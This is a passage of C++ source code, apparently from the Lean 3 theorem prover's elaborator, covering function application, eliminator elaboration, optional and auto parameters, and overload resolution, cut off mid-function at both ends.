elaborator::visit_const_core(expr const & e) { declaration d = m_env.get(const_name(e)); buffer<level> ls; for (level const & l : const_levels(e)) { level new_l = replace_univ_placeholder(l); ls.push_back(new_l); } unsigned num_univ_params = d.get_num_univ_params(); if (num_univ_params < ls.size()) { format msg("incorrect number of universe levels parameters for '"); msg += format(const_name(e)) + format("', #") + format(num_univ_params); msg += format(" expected, #") + format(ls.size()) + format("provided"); return recoverable_error({}, e, elaborator_exception(e, msg)); } // "fill" with meta universe parameters for (unsigned i = ls.size(); i < num_univ_params; i++) ls.push_back(mk_univ_metavar()); lean_assert(num_univ_params == ls.size()); return update_constant(e, to_list(ls.begin(), ls.end())); } /** \brief Auxiliary function for saving information about which overloaded identifier was used by the elaborator. */ void elaborator::save_identifier_info(expr const & f) { if (!m_no_info && m_uses_infom && get_pos_info_provider() && (is_constant(f) || is_local(f))) { if (auto p = get_pos_info_provider()->get_pos_info(f)) { m_info.add_identifier_info(*p, is_constant(f) ? const_name(f) : mlocal_pp_name(f)); m_info.add_type_info(*p, infer_type(f)); } } } expr elaborator::visit_function(expr const & fn, bool has_args, optional<expr> const & expected_type, expr const & ref) { if (is_placeholder(fn)) { throw elaborator_exception(ref, "placeholders '_' cannot be used where a function is expected"); } if (is_field_notation(fn)) throw elaborator_exception(ref, "invalid occurrence of field notation"); expr r; switch (fn.kind()) { case expr_kind::Var: case expr_kind::Pi: case expr_kind::Meta: case expr_kind::Sort: throw elaborator_exception(ref, "invalid application, function expected"); // The expr_kind::App case can only happen when nary notation is used case expr_kind::App: r = visit(fn, expected_type); break; case expr_kind::Local: r = fn; break; case expr_kind::Constant: r = visit_const_core(fn); break; case expr_kind::Macro: r = visit_macro(fn, expected_type, true); break; case expr_kind::Lambda: r = visit_lambda(fn, expected_type); break; case expr_kind::Let: r = visit_let(fn, expected_type); break; } save_identifier_info(r); if (has_args) r = ensure_function(r, ref); return r; } void elaborator::validate_overloads(buffer<expr> const & fns, expr const & ref) { for (expr const & fn_i : fns) { if (is_constant(fn_i) && use_elim_elab(const_name(fn_i))) { auto pp_fn = mk_pp_ctx(); format msg("invalid overloaded application, " "elaborator has special support for '"); msg += pp_fn(fn_i); msg += format("' (it is handled as an \"eliminator\"), " "but this kind of constant cannot be overloaded " "(solution: use fully qualified names) "); msg += pp_overloads(pp_fn, fns); throw elaborator_exception(ref, msg); } } } void elaborator::throw_app_type_mismatch_error(expr const & t, expr const & arg, expr const & arg_type, expr const & expected_type, expr const & ref) { format msg = format("type mismatch at application"); msg += pp_indent(mk_pp_ctx(), t); msg += line() + format("term") + pp_type_mismatch(arg, arg_type, expected_type); throw elaborator_exception(ref, msg). ignore_if(has_synth_sorry({arg, arg_type, expected_type})); } format elaborator::mk_app_arg_mismatch_error(expr const & t, expr const & arg, expr const & expected_arg) { auto pp_data = pp_until_different(mk_fmt_ctx(), arg, expected_arg); auto fmt = std::get<0>(pp_data); format msg = format("unexpected argument at application"); msg += pp_indent_expr(fmt, t); msg += line() + format("given argument"); msg += std::get<1>(pp_data); msg += line() + format("expected argument"); msg += std::get<2>(pp_data); return msg; } expr elaborator::visit_elim_app(expr const & fn, elim_info const & info, buffer<expr> const & args, optional<expr> const & _expected_type, expr const & ref) { trace_elab_detail(tout() << "recursor/eliminator application at " << pos_string_for(ref) << "\n";); lean_assert(info.m_nexplicit <= args.size()); if (!_expected_type) { throw elaborator_exception(ref, format("invalid '") + format(const_name(fn)) + format ("' application, ") + format("elaborator has special support for this kind of application ") + format("(it is handled as an \"eliminator\"), ") + format("but the expected type must be known")); } synthesize_type_class_instances(); expr expected_type = instantiate_mvars(*_expected_type); if (has_expr_metavar(expected_type)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(ref, format("invalid '") + format(const_name(fn)) + format ("' application, ") + format("elaborator has special support for this kind of application ") + format("(it is handled as an \"eliminator\"), ") + format("but expected type must not contain metavariables") + pp_indent(pp_fn, expected_type)); } trace_elab_debug( tout() << "eliminator elaboration for '" << fn << "'\n" << " arity: " << info.m_arity << "\n" << " nexplicit: " << info.m_nexplicit << "\n" << " motive: #" << (info.m_motive_idx+1) << "\n" << " \"major\": "; for (unsigned idx : info.m_idxs) tout() << " #" << (idx+1); tout() << "\n";); expr fn_type = try_to_pi(infer_type(fn)); buffer<expr> new_args; /* In the first pass we only process the arguments at info.m_idxs */ expr type = fn_type; unsigned i = 0; unsigned j = 0; list<unsigned> main_idxs = info.m_idxs; buffer<optional<expr>> postponed_args; // mark arguments that must be elaborated in the second pass. { while (is_pi(type)) { expr const & d = binding_domain(type); binder_info const & bi = binding_info(type); expr new_arg; optional<expr> postponed; if (std::find(main_idxs.begin(), main_idxs.end(), i) != main_idxs.end()) { { new_arg = visit(args[j], some_expr(d)); synthesize(); new_arg = instantiate_mvars(new_arg); } j++; if (has_expr_metavar(new_arg)) { auto pp_fn = mk_pp_ctx(); throw elaborator_exception(ref, format("invalid '") + format(const_name(fn)) + format ("' application, ") + format("elaborator has special support for this kind of application ") + format("(it is handled as an \"eliminator\"), ") + format("but term") + pp_indent(pp_fn, new_arg) + line() + format("must not contain metavariables because") + format(" it is used to compute the motive")); } expr new_arg_type = infer_type(new_arg); if (!is_def_eq(new_arg_type, d)) { new_args.push_back(new_arg); throw_app_type_mismatch_error(mk_app(fn, new_args), new_arg, new_arg_type, d, ref); } } else if (is_explicit(bi)) { expr arg_ref = args[j]; new_arg = mk_metavar(d, arg_ref); postponed = args[j]; j++; } else if (bi.is_inst_implicit()) { new_arg = mk_instance(d, ref); } else { new_arg = mk_metavar(d, ref); } new_args.push_back(new_arg); postponed_args.push_back(postponed); type = try_to_pi(instantiate(binding_body(type), new_arg)); i++; } lean_assert(new_args.size() == info.m_arity); /* Process extra arguments */ for (; j < args.size(); j++) { new_args.push_back(visit(args[j], none_expr())); } synthesize(); } /* Compute expected_type for the recursor application without extra arguments */ buffer<expr> extra_args; i = new_args.size(); while (i > info.m_arity) { --i; expr new_arg = instantiate_mvars(new_args[i]); expr new_arg_type = instantiate_mvars(infer_type(new_arg)); expected_type = ::lean::mk_pi("_a", new_arg_type, kabstract(m_ctx, expected_type, new_arg)); extra_args.push_back(new_arg); } new_args.shrink(i); std::reverse(extra_args.begin(), extra_args.end()); // Compute motive */ trace_elab_debug(tout() << "compute motive by using keyed-abstraction:\n " << instantiate_mvars(type) << "\nwith\n " << expected_type << "\n";); expr motive = expected_type; buffer<expr> keys; get_app_args(type, keys); i = keys.size(); while (i > 0) { --i; expr k = instantiate_mvars(keys[i]); expr k_type = infer_type(k); motive = ::lean::mk_lambda("_x", k_type, kabstract(m_ctx, motive, k)); } trace_elab_debug(tout() << "motive:\n " << instantiate_mvars(motive) << "\n";); expr motive_arg = new_args[info.m_motive_idx]; if (!is_def_eq(motive_arg, motive)) { throw elaborator_exception(ref, "\"eliminator\" elaborator failed to compute the motive"); } try { /* Elaborate postponed arguments */ for (unsigned i = 0; i < new_args.size(); i++) { if (optional<expr> arg = postponed_args[i]) { lean_assert(is_metavar(new_args[i])); expr new_arg_type = instantiate_mvars(infer_type(new_args[i])); expr new_arg = visit(*arg, some_expr(new_arg_type)); if (!is_def_eq(new_args[i], new_arg)) { throw elaborator_exception(ref, format("\"eliminator\" elaborator type mismatch, term") + pp_type_mismatch(new_arg, infer_type(new_arg), new_arg_type)); } else { new_args[i] = new_arg; } } } expr r = instantiate_mvars(mk_app(mk_app(fn, new_args), extra_args)); trace_elab_debug(tout() << "elaborated recursor:\n " << r << "\n";); return r; } catch (elaborator_exception & ex) { // TODO(gabriel): the additional information is not added in error-recovery mode throw nested_elaborator_exception(ref, ex, format("the inferred motive for the eliminator-like application is") + pp_indent(motive)); } } struct elaborator::first_pass_info { buffer<expr> args_mvars; buffer<expr> args_expected_types; buffer<expr> new_args; /* new_args_size[i] contains size of new_args after args_mvars[i] was pushed. We need this information for producing error messages. */ buffer<unsigned> new_args_size; buffer<expr> new_instances; /* new_instances_size[i] contains the size of new_instances before (and after) args_mvars[i] was pushed. */ buffer<unsigned> new_instances_size; /* Store arguments that need to be abstracted when we apply eta expansion for function applications containing optional and auto parameters. */ buffer<expr> eta_args; }; static optional<expr> is_thunk(expr const & e) { if (is_app_of(e, get_thunk_name(), 1)) { return some_expr(app_arg(e)); } else { return none_expr(); } } static expr mk_thunk_if_needed(expr const & e, optional<expr> const & is_thunk) { if (is_thunk) return mk_lambda("_", mk_constant(get_unit_name()), e); else return e; } expr elaborator::mk_auto_param(expr const & name_lit, expr const & expected_type, expr const & ref) { auto c = name_lit_to_name(name_lit); if (!c) throw elaborator_exception(ref, format("invalid auto_param, name literal expected for identifying tactic") + pp_indent(name_lit)); auto d = m_env.find(*c); if (!d) throw elaborator_exception(ref, sstream() << "invalid auto_param, unknown tactic '" << *c << "'"); if (!m_ctx.is_def_eq(d->get_type(), mk_tactic_unit())) throw elaborator_exception(ref, format("invalid auto_param, invalid tactic '") + format(*c) + format("' type should be (tactic unit)") + pp_indent(d->get_type())); expr t = copy_tag(ref, mk_by(copy_tag(ref, mk_constant(*c)))); return visit(t, some_expr(expected_type)); } optional<expr> elaborator::process_optional_and_auto_params(expr type, expr const & ref, buffer<expr> & eta_args, buffer<expr> & new_args) { unsigned sz1 = eta_args.size(); unsigned sz2 = new_args.size(); optional<expr> result_type; while (true) { expr it = whnf(type); if (!is_pi(it)) break; type = it; expr const & d = binding_domain(type); expr new_arg; bool found = false; if (auto def_value = is_optional_param(d)) { found = true; new_arg = *def_value; } else if (auto p = is_auto_param(d)) { found = true; new_arg = mk_auto_param(p->second, p->first, ref); } else { new_arg = mk_local(mk_fresh_name(), binding_name(type), d, binding_info(type)); eta_args.push_back(new_arg); } new_args.push_back(new_arg); type = instantiate(binding_body(type), new_arg); if (found) { result_type = type; sz1 = eta_args.size(); sz2 = new_args.size(); } } eta_args.shrink(sz1); new_args.shrink(sz2); if (result_type) return some_expr(Pi(eta_args, *result_type)); else return result_type; } expr elaborator::post_process_implicit_arg(expr const & arg, expr const & ref) { if (m_in_pattern && m_in_quote) { // We ignore implicit arguments in quote patterns so that // only explicitly given syntax is matched. Note that most // implicit arguments in standard patterns are ignore via a // different mechanism in instantiate_pattern_mvars. We cannot // use the same mechanism for quote patterns because inst-implicit // arguments are usually not inferable there. return copy_tag(ref, mk_inaccessible(arg)); } else { return arg; } } /* Check if fn args resulting type matches the expected type, and fill first_pass_info & info with information collected in this first pass. Return true iff the types match. Remark: the arguments \c args are *not* visited in this first pass. They are only used in this method to provide location information. */ void elaborator::first_pass(expr const & fn, buffer<expr> const & args, expr const & expected_type, expr const & ref, first_pass_info & info) { expr fn_type = infer_type(fn); expr type_before_whnf = fn_type; expr type = whnf(fn_type); unsigned i = 0; /* First pass: compute type for an fn-application, and unify it with expected_type. We don't visit explicit arguments at this point. */ /* Outer loop is used to make sure we consume implicit arguments occurring after auto/option params. */ while (true) { while (is_pi(type)) { binder_info const & bi = binding_info(type); expr const & d = binding_domain(type); if (bi.is_strict_implicit() && i == args.size()) break; expr new_arg; if (!is_explicit(bi)) { // implicit argument new_arg = mk_metavar(d, ref); if (bi.is_inst_implicit()) info.new_instances.push_back(new_arg); new_arg = post_process_implicit_arg(new_arg, ref); } else if (i < args.size()) { // explicit argument expr const & arg_ref = args[i]; info.args_expected_types.push_back(d); if (is_as_is(args[i])) { /* We check the type of as-is arguments eagerly, and we don't create a metavariable for them since they have already been elaborated. This is important when we are elaborating terms such as l.map (λ ⟨a, b⟩, a + b) where (l : list (nat × nat)) We elaborate l when we process l.map, and convert it into list.map (λ ⟨a, b⟩, a + b) (as-is l) By checking the type of l here, we make sure that the domain of the function (λ ⟨a, b⟩, a + b) is known when we elaborate it. Note that if the user types list.map (λ ⟨a, b⟩, a + b) l --^ fails here It will fail because we elaborate from left to right, and we don't have the type of l. See discussion at #1403 */ new_arg = get_as_is_arg(args[i]); optional<expr> thunk_of; if (!m_in_pattern) thunk_of = is_thunk(d); expr arg_expected_type; if (thunk_of) arg_expected_type = *thunk_of; else arg_expected_type = d; new_arg = mk_thunk_if_needed(new_arg, thunk_of); expr new_arg_type = infer_type(new_arg); optional<expr> new_new_arg = ensure_has_type(new_arg, new_arg_type, arg_expected_type, arg_ref); if (!new_new_arg) { buffer<expr> tmp_args; tmp_args.append(info.new_args); tmp_args.push_back(new_arg); throw_app_type_mismatch_error(mk_app(fn, tmp_args), new_arg, new_arg_type, arg_expected_type, ref); } new_arg = *new_new_arg; } else { new_arg = mk_metavar(d, arg_ref); } i++; info.args_mvars.push_back(new_arg); info.new_args_size.push_back(info.new_args.size()); info.new_instances_size.push_back(info.new_instances.size()); } else { break; } info.new_args.push_back(new_arg); /* See comment above at visit_base_app_core */ type_before_whnf = instantiate(binding_body(type), new_arg); type = whnf(type_before_whnf); } type = type_before_whnf; if (optional<expr> new_type = process_optional_and_auto_params(type, ref, info.eta_args, info.new_args)) { type = *new_type; /* If next argument is implicit, then keep consuming */ type_before_whnf = *new_type; type = whnf(type_before_whnf); if (!is_pi(type) || is_explicit(binding_info(type))) { type = type_before_whnf; break; } } else { break; } } if (i != args.size()) { /* failed to consume all explicit arguments, use base elaboration for applications */ throw elaborator_exception(ref, "too many arguments"); } lean_assert(args.size() == info.args_expected_types.size()); lean_assert(args.size() == info.args_mvars.size()); lean_assert(args.size() == info.new_args_size.size()); lean_assert(args.size() == info.new_instances_size.size()); if (!is_def_eq(expected_type, type)) { expr e = mk_app(fn, info.new_args); throw elaborator_exception(ref, format("type mismatch, term") + pp_type_mismatch(e, type, expected_type)) .ignore_if(has_synth_sorry({type, expected_type, e})); } } std::tuple<expr, expr, optional<expr>> elaborator::elaborate_arg(expr const & arg, expr const & expected_type, expr const & ref) { optional<expr> thunk_of; if (!m_in_pattern) thunk_of = is_thunk(expected_type); expr aux_expected_type = thunk_of ? *thunk_of : expected_type; expr new_arg = visit(arg, some_expr(aux_expected_type)); new_arg = mk_thunk_if_needed(new_arg, thunk_of); expr new_arg_type = infer_type(new_arg); return std::make_tuple(new_arg, new_arg_type, ensure_has_type(new_arg, new_arg_type, expected_type, ref)); } /* Using the information colllected in the first-pass, visit the arguments args. And then, create resulting application */ expr elaborator::second_pass(expr const & fn, buffer<expr> const & args, expr const & ref, first_pass_info & info) { unsigned j = 0; /* for traversing new_instances */ /* Second pass: visit explicit arguments using the information we gained about their expected types */ for (unsigned i = 0; i < args.size(); i++) { /* Process type class instances upto args[i] */ for (; j < info.new_instances_size[i]; j++) { expr const & mvar = info.new_instances[j]; if (!try_synthesize_type_class_instance(mvar)) m_instances = cons(mvar, m_instances); } expr ref_arg = get_ref_for_child(args[i], ref); expr expected_type = info.args_expected_types[i]; info.new_args[info.new_args_size[i]] = recover_expr_from_exception(some_expr(expected_type), ref_arg, [&] { if (is_metavar(info.args_mvars[i])) { expr new_arg; expr new_arg_type; optional<expr> new_new_arg; std::tie(new_arg, new_arg_type, new_new_arg) = elaborate_arg(args[i], expected_type, ref_arg); if (!new_new_arg) { buffer<expr> tmp_args; tmp_args.append(info.new_args_size[i], info.new_args.data()); tmp_args.push_back(new_arg); throw_app_type_mismatch_error(mk_app(fn, tmp_args), new_arg, new_arg_type, info.args_expected_types[i], ref); } if (!is_def_eq(info.args_mvars[i], *new_new_arg)) { buffer<expr> tmp_args; tmp_args.append(info.new_args_size[i], info.new_args.data()); tmp_args.push_back(new_arg); format msg = mk_app_arg_mismatch_error(mk_app(fn, tmp_args), new_arg, info.args_mvars[i]); report_or_throw(elaborator_exception(ref, msg). ignore_if(has_synth_sorry({new_arg, instantiate_mvars(info.args_mvars[i])}))); } return *new_new_arg; } else { return info.args_mvars[i]; } }); } for (; j < info.new_instances.size(); j++) { expr const & mvar = info.new_instances[j]; if (!try_synthesize_type_class_instance(mvar)) m_instances = cons(mvar, m_instances); } return Fun(info.eta_args, mk_app(fn, info.new_args.size(), info.new_args.data())); } bool elaborator::is_with_expected_candidate(expr const & fn) { /* When processing expressions such as (l^.for f), we first resolve the field notation obtaining (list.for l) Then, when processing ((list.for l) f), we still want to use the expected type. So, we should retrieve the constant list.for using get_app_fn. */ expr _fn = get_app_fn(fn); if (!is_constant(_fn)) return false; return get_elaborator_strategy(m_env, const_name(_fn)) == elaborator_strategy::WithExpectedType; } expr elaborator::visit_base_app_simple(expr const & _fn, arg_mask amask, buffer<expr> const & args, bool args_already_visited, optional<expr> const & expected_type, expr const & ref) { expr fn = _fn; expr fn_type = infer_type(fn); unsigned i = 0; buffer<expr> new_args; /* We manually track the type before whnf. We do that because after the loop we check whether the application type is definitionally equal to expected_type. Suppose, the result type is (tactic expr) and the expected type is (?M1 ?M2). The unification problem can be solved using first-order unification, but if we unfold (tactic expr), we get (tactic_state -> base_tactic_result ...) which cannot. The statement expr type = try_to_pi(fn_type); also does not work because (tactic expr) unfolds into a type. */ expr type_before_whnf = fn_type; expr type = whnf(fn_type); buffer<expr> eta_args; /* Outer loop is used to make sure we consume implicit arguments occurring after auto/option params. */ while (true) { while (true) { if (is_pi(type)) { binder_info const & bi = binding_info(type); expr const & d = binding_domain(type); expr new_arg; if (amask == arg_mask::Default && bi.is_strict_implicit() && i == args.size()) break; if ((amask == arg_mask::Default && !is_explicit(bi)) || (amask == arg_mask::InstHoExplicit && !is_explicit(bi) && !bi.is_inst_implicit() && !is_pi(d))) { // implicit argument if (bi.is_inst_implicit()) new_arg = mk_instance(d, ref); else new_arg = mk_metavar(d, ref); new_arg = post_process_implicit_arg(new_arg, ref); } else if (i < args.size()) { expr expected_type = d; optional<expr> thunk_of; if (!m_in_pattern && amask == arg_mask::Default) thunk_of = is_thunk(d); if (thunk_of) expected_type = *thunk_of; // explicit argument expr ref_arg = get_ref_for_child(args[i], ref); if (args_already_visited) { new_arg = mk_thunk_if_needed(args[i], thunk_of); } else if (bi.is_inst_implicit() && is_placeholder(args[i])) { lean_assert(amask != arg_mask::Default); /* If '@' or '@@' have been used, and the argument is '_', then we use type class resolution. */ new_arg = mk_instance(d, ref); } else { new_arg = visit(args[i], some_expr(expected_type)); new_arg = mk_thunk_if_needed(new_arg, thunk_of); } expr new_arg_type = infer_type(new_arg); if (optional<expr> new_new_arg = ensure_has_type(new_arg, new_arg_type, d, ref_arg)) { new_arg = *new_new_arg; } else { new_args.push_back(new_arg); throw_app_type_mismatch_error(mk_app(fn, new_args.size(), new_args.data()), new_arg, new_arg_type, d, ref); } i++; } else { break; } new_args.push_back(new_arg); /* See comment above at first type_before_whnf assignment */ type_before_whnf = instantiate(binding_body(type), new_arg); type = whnf(type_before_whnf); } else if (i < args.size()) { expr new_fn = mk_app(fn, new_args.size(), new_args.data()); new_args.clear(); fn = ensure_function(new_fn, ref); type_before_whnf = infer_type(fn); type = whnf(type_before_whnf); } else { lean_assert(i == args.size()); break; } } type = instantiate_mvars(type_before_whnf); /* We ignore optional/auto params when `@` is used */ if (amask != arg_mask::Default) break; if (optional<expr> new_type = process_optional_and_auto_params(type, ref, eta_args, new_args)) { /* If next argument is implicit, then keep consuming */ type_before_whnf = *new_type; type = whnf(type_before_whnf); if (!is_pi(type) || is_explicit(binding_info(type))) { type = type_before_whnf; break; } } else { break; } } expr r = Fun(eta_args, mk_app(fn, new_args.size(), new_args.data())); if (expected_type) { if (auto new_r = ensure_has_type(r, type, *expected_type, ref)) { return *new_r; } else { /* We do not generate the error here because we can produce a better one from the caller (i.e., place the set the expected_type) */ } } return r; } expr elaborator::visit_base_app_core(expr const & fn, arg_mask amask, buffer<expr> const & args, bool args_already_visited, optional<expr> const & expected_type, expr const & ref) { /** Check if this application is a candidate for propagating the expected type to arguments */ if (args_already_visited || /* if the arguments have already been visited, then there is no point. */ amask != arg_mask::Default || /* we do not propagate expected type info when @ and @@ are used */ !is_with_expected_candidate(fn) || !expected_type) { return visit_base_app_simple(fn, amask, args, args_already_visited, expected_type, ref); } snapshot C(*this); first_pass_info info; try { /* In the first pass, we skip universe contraints such as (max 1 ?m) =?= ?m (max ?m1 1) =?= (max 1 ?m2) The first one cannot be solved by type_context_old, and an approximate solution is used for the second one. In the second pass, we will have additional information propagated from the expected_type, and these constraints may become trivial. The following definition illustrates the issue: meta def foo (ex_lst : list name) (e : expr) : list name := expr.fold e [] (λ _ _ l, l) expr.fold has type meta constant expr.fold {α : Type} : expr → α → (expr → nat → α → α) → α So, when processing [], we have to unify ?α with (list ?m), where ?α : Type 1 list ?m : Type (max 1 ?u) Thus, we also have to solve 1 =?= (max 1 ?u) which, as described above, cannot be solved by type_context_old. However, this constraint becomes trivial after we propagate the expected type (list name), and we have to solve (list name) =?= (list ?m) */ type_context_old::full_postponed_scope scope(m_ctx, false); flet<bool> dont_recover(m_recover_from_errors, false); first_pass(fn, args, *expected_type, ref, info); } catch (elaborator_exception & ex1) { C.restore(*this); try { return visit_base_app_simple(fn, amask, args, args_already_visited, expected_type, ref); } catch (elaborator_exception & ex2) { throw nested_elaborator_exception(ref, ex2, format("switched to simple application elaboration procedure because " "failed to use expected type to elaborate it, " "error message") + nest(get_pp_indent(m_opts), line() + ex1.pp())); } } return second_pass(fn, args, ref, info); } expr elaborator::visit_base_app(expr const & fn, arg_mask amask, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { return visit_base_app_core(fn, amask, args, false, expected_type, ref); } expr elaborator::visit_overload_candidate(expr const & fn, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { return visit_base_app_core(fn, arg_mask::Default, args, true, expected_type, ref); } format elaborator::mk_no_overload_applicable_msg(buffer<expr> const & fns, buffer<elaborator_exception> const & error_msgs) { format r("none of the overloads are applicable"); lean_assert(error_msgs.size() == fns.size()); for (unsigned i = 0; i < fns.size(); i++) { if (i > 0) r += line(); auto pp_fn = mk_pp_ctx(); r += line() + format("error for") + space() + pp_overload(pp_fn, fns[i]); r += line() + error_msgs[i].pp(); } return r; } expr elaborator::visit_overloaded_app_core(buffer<expr> const & fns, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { buffer<expr> new_args; for (expr const & arg : args) { new_args.push_back(copy_tag(arg, visit(arg, none_expr()))); } snapshot S(*this); buffer<pair<expr, snapshot>> candidates; buffer<elaborator_exception> error_msgs; for (expr const & fn : fns) { try { flet<bool> dont_recover(m_recover_from_errors, false); // Restore state S.restore(*this); bool has_args = !args.empty(); expr new_fn = visit_function(fn, has_args, has_args ? none_expr() : expected_type, ref); expr c = visit_overload_candidate(new_fn, new_args, expected_type, ref); synthesize_type_class_instances(); if (expected_type) { expr c_type = infer_type(c); if (ensure_has_type(c, c_type, *expected_type, ref)) { candidates.emplace_back(c, snapshot(*this)); } else { throw elaborator_exception(ref, format("invalid overload, term") + pp_type_mismatch(c, c_type, *expected_type)); } } else { candidates.emplace_back(c, snapshot(*this)); } } catch (elaborator_exception & ex) { error_msgs.push_back(ex); } catch (exception & ex) { error_msgs.push_back(elaborator_exception(ref, format(ex.what()))); } } lean_assert(candidates.size() + error_msgs.size() == fns.size()); if (candidates.empty()) { S.restore(*this); throw elaborator_exception(ref, mk_no_overload_applicable_msg(fns, error_msgs)); } else if (candidates.size() > 1) { S.restore(*this); options new_opts = m_opts.update_if_undef(get_pp_full_names_name(), true); flet<options> set_opts(m_opts, new_opts); auto pp_fn = mk_pp_ctx(); format r("ambiguous overload, possible interpretations"); for (auto const & c : candidates) { r += pp_indent(pp_fn, c.first); } throw elaborator_exception(ref, r); } else { // Restore successful state candidates[0].second.restore(*this); return candidates[0].first; } } expr elaborator::visit_overloaded_app_with_expected(buffer<expr> const & fns, buffer<expr> const & args, expr const & expected_type, expr const & ref) { snapshot S(*this); buffer<std::tuple<expr, snapshot, first_pass_info>> candidates; buffer<elaborator_exception> error_msgs; for (expr const & fn : fns) { try { flet<bool> dont_recover(m_recover_from_errors, false); // Restore state S.restore(*this); bool has_args = !args.empty(); expr new_fn = visit_function(fn, has_args, has_args ? none_expr() : some(expected_type), ref); first_pass_info info; first_pass(new_fn, args, expected_type, ref, info); candidates.emplace_back(new_fn, snapshot(*this), info); } catch (elaborator_exception & ex) { error_msgs.push_back(ex); } catch (exception & ex) { error_msgs.push_back(elaborator_exception(ref, format(ex.what()))); } } if (candidates.empty()) { try { /* Failed to disambiguate using expected type, switch to basic */ S.restore(*this); return visit_overloaded_app_core(fns, args, some_expr(expected_type), ref); } catch (elaborator_exception & ex) { auto pp_fn = mk_pp_ctx(); format msg = format("switched to basic overload resolution where arguments are elaborated without " "any information about the expected type, because failed to elaborate all candidates " "using the expected type"); msg += pp_indent(pp_fn, expected_type); msg += line() + format("this can happen because, for example, coercions were not considered in the process"); msg += line() + mk_no_overload_applicable_msg(fns, error_msgs); throw nested_elaborator_exception(ref, ex, msg); } } if (candidates.size() == 1) { // Restore successful state auto & c = candidates[0]; expr fn = std::get<0>(c); std::get<1>(c).restore(*this); first_pass_info & info = std::get<2>(c); try { return second_pass(fn, args, ref, info); } catch (elaborator_exception & ex) { auto pp_fn = mk_pp_ctx(); format msg = format("overload was disambiguated using expected type"); msg += line() + pp_overloads(pp_fn, fns); msg += line() + format("the only applicable one seemed to be: ") + pp_overload(pp_fn, fn); msg += line(); for (auto const & error_msg : error_msgs) { msg += line() + error_msg.pp(); } throw nested_elaborator_exception(ref, ex, msg); } } try { /* Failed to disambiguate using expected type, switch to basic */ S.restore(*this); return visit_overloaded_app_core(fns, args, some_expr(expected_type), ref); } catch (elaborator_exception & ex) { auto pp_fn = mk_pp_ctx(); format msg = format("switched to basic overload resolution where arguments are elaborated without " "any information about the expected type because it failed to disambiguate " "overload using the expected type"); msg += pp_indent(pp_fn, expected_type); msg += line() + format("the following overloaded terms were applicable"); for (auto const & c : candidates) msg += pp_indent(pp_fn, std::get<0>(c)); throw nested_elaborator_exception(ref, ex, msg); } } expr elaborator::visit_overloaded_app(buffer<expr> const & fns, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { trace_elab_detail(tout() << "overloaded application at " << pos_string_for(ref); auto pp_fn = mk_pp_ctx(); tout() << pp_overloads(pp_fn, fns) << "\n";); if (expected_type) { return visit_overloaded_app_with_expected(fns, args, *expected_type, ref); } else { try { return visit_overloaded_app_core(fns, args, expected_type, ref); } catch (elaborator_exception & ex) { format msg = format("switched to basic overload resolution where arguments are elaborated without " "any information about the expected type because expected type was not available"); throw nested_elaborator_exception(ref, ex, msg); } } } expr elaborator::visit_no_confusion_app(expr const & fn, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { name fn_name = const_name(fn); if (!expected_type) { throw elaborator_exception(ref, format("invalid '") + format(fn_name) + format ("' application, ") + format("elaborator has special support for no_confusion ") + format("but the expected type must be known")); } if (args.empty()) { throw elaborator_exception(ref, format("invalid occurrence of function '") + format(fn_name) + format ("', it must be applied to at least one argument (possible solution: use '@')")); } /* I.no_confusion functions have a type of the form Pi (params) (indices) (C : Type) (lhs rhs : I params indices) (H : lhs = rhs), I.no_confusion_type params indices C lhs rhs The type (I.no_confusion_type params indices C lhs rhs) is C if lhs and rhs are distinct constructors, and (Pi Hs, C) if they are the same constructor where Hs is a sequence of equalities. (C : Type) is the expected type. To make the elaborator more effective, we first elaborate the first explicit argument (i.e., args[0]) and obtain Heq, and create the fake pre-term (I.no_confusion _ ... _ (as-is expected_type) _ _ (as-is Heq) args[1] ... args[n-1]) Then, we elaborate this new fake pre-term. */ expr Heq = strict_visit(args[0], none_expr()); name I_name = fn_name.get_prefix(); unsigned nparams = *inductive::get_num_params(m_env, I_name); unsigned nindices = *inductive::get_num_indices(m_env, I_name); buffer<expr> new_args; for (unsigned i = 0; i < nparams + nindices; i++) { new_args.push_back(copy_tag(ref, mk_expr_placeholder())); } new_args.push_back(copy_tag(ref, mk_as_is(*expected_type))); new_args.push_back(copy_tag(ref, mk_expr_placeholder())); // lhs new_args.push_back(copy_tag(ref, mk_expr_placeholder())); // rhs new_args.push_back(copy_tag(args[0], mk_as_is(Heq))); for (unsigned i = 1; i < args.size(); i++) new_args.push_back(args[i]); return visit_base_app_core(fn, arg_mask::AllExplicit, new_args, false, expected_type, ref); } expr elaborator::visit_app_core(expr fn, buffer<expr> const & args, optional<expr> const & expected_type, expr const & ref) { arg_mask amask = arg_mask::Default; if (is_explicit(fn)) { fn = get_explicit_arg(fn); amask = arg_mask::AllExplicit; } else if (is_partial_explicit(fn)) { fn = get_partial_explicit_arg(fn); amask = arg_mask::InstHoExplicit; } bool has_args = !args.empty(); if (is_hole(fn)) throw elaborator_exception(ref, "holes {! ... !} cannot be used where a function is expected"); while (is_annotation(fn)) fn = get_annotation_arg(fn); if (is_choice(fn)) { buffer<expr> fns; if (amask != arg_mask::Default) { format fmt = format("invalid explicit annotation because of overloading (possible solution: use fully qualified names) "); for (unsigned i = 0; i < get_num_choices(fn); i++) fns.push_back(get_choice(fn, i)); auto pp_fn = mk_pp_ctx(); fmt += pp_overloads(pp_fn, fns); throw elaborator_exception(ref, fmt); } for (unsigned i = 0; i < get_num_choices(fn); i++) { expr const & fn_i = get_choice(fn, i); fns.push_back(fn_i); } validate_overloads(fns, ref); return visit_overloaded_app(fns, args, expected_type, ref); } else if (is_field_notation(fn) && amask == arg_mask::Default) { expr s = visit(macro_arg(fn, 0), none_expr()); expr s_type = head_beta_reduce(instantiate_mvars(infer_type(s))); auto field_res = find_field_fn(fn, s, s_type); expr proj, proj_type; if (field_res.m_ldecl) { proj = copy_tag(fn, field_res.m_ldecl->mk_ref()); proj_type = field_res.m_ldecl->get_type(); } else { proj = copy_tag(fn, mk_constant(field_res.get_full_fname())); proj_type = m_env.get(field_res.get_full_fname()).get_type(); } buffer<expr> new_args; unsigned i = 0; while (is_pi(proj_type)) { if (is_explicit(binding_info(proj_type))) { if (is_app_of(binding_domain(proj_type), field_res.m_base_S_name)) { /* found s location */ expr coerced_s = *mk_base_projections(m_env, field_res.m_S_name, 